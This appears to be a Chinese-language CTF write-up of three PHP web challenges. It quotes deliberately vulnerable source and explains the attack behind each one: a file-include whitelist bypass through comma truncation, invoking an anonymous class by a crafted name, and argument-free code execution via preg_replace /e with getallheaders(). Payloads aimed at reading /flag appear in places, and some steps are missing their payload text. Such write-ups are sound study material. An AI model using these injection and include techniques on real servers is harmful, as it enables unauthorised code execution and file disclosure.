check-web
check
sing a song
老伙计了
源码
<?php
highlight_file(__FILE__);
$whitelist = ["hint"=>"hint.php"];
$page=$_REQUEST['file'];
if (! isset($page) || !is_string($page)) {
die("you can't see it");
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ',', ',')
);
if (in_array($_page,$whitelist)||in_array($page,$whitelist))
{
include $_REQUEST['file'];
}
?> you can't see it
看到hint.php,先访问一下
is_string()
函数,检测变量是否是字符串
if (! isset($page) || !is_string($page))
变量不存在或者它不是字符串,就输出 you can't see it
$_page = mb_substr(
$page,
0,
mb_strpos($page . ',', ',')//返回page变量中第一次出现','的位置,若没有出现则返回page的末尾位置
);
//将page从0到截断处的内容赋给_page
mb_substr()
函数: 返回字符串的一部分
截取传入的file的值,从开始到 ,
处(不包含,
)将截取后的字符串和白名单做对比,对就返回true
此时确保只输出一遍源码,在第二个源码 hint.php后面访问 2024hhht,因为此时hint.php已经被当成文件夹了
构造payload
ezser
源码
<?php
highlight_file(__FILE__);
$test=new class{
function __construct()
{
}
function geteval()
{
system('cat /flag');
}
};
unset($test);
$test = $_GET[0];
$nw = new $test();
$nw->geteval();
?>
unset()
销毁匿名类函数,既然他销毁我们匿名类函数,所以我们就去出发以下匿名类函数
本地测试一下
才发现行数的问题..列数不重要,本题具有一定的随机性,所以需要重启靶机再打,不然随着提交次数增多,随机不到列数
构造payload
?0=class@anonymous%00/var/www/html/index.php:3$0
php5
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$h = $_GET["h"];
$name = $_GET["name"];
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $h)) {
echo $name1 = preg_replace("/test/e",$h,$name);
} else {
die("再好好想想!");
}
两句关键代码
无参数命令执行
在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果 参考文章
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $h)) {
这几行代码就是对以上一行代码的理解
getallheaders() 获取全部 HTTP 请求头信息, 是下方函数的别名
end() 获取列表最后一个元素
第二个匹配
preg_replace("/test/e",$h,$name);
preg_replace("/test/e",$h,$name);
/e匹配test
解决name参数,构造payload name=test
来绕过
看题
先拿 getallheaders()
函数测试一下,再加上 var_dump()
函数,将信息打印出来,获取以下请求头的所有信息
接下来我们可以在hackbar的请求头里添加信息
能实现输出,接下来我们可以只输出最后一条我们构造的数据
更换eval()
函数,再构造system('cat /flag')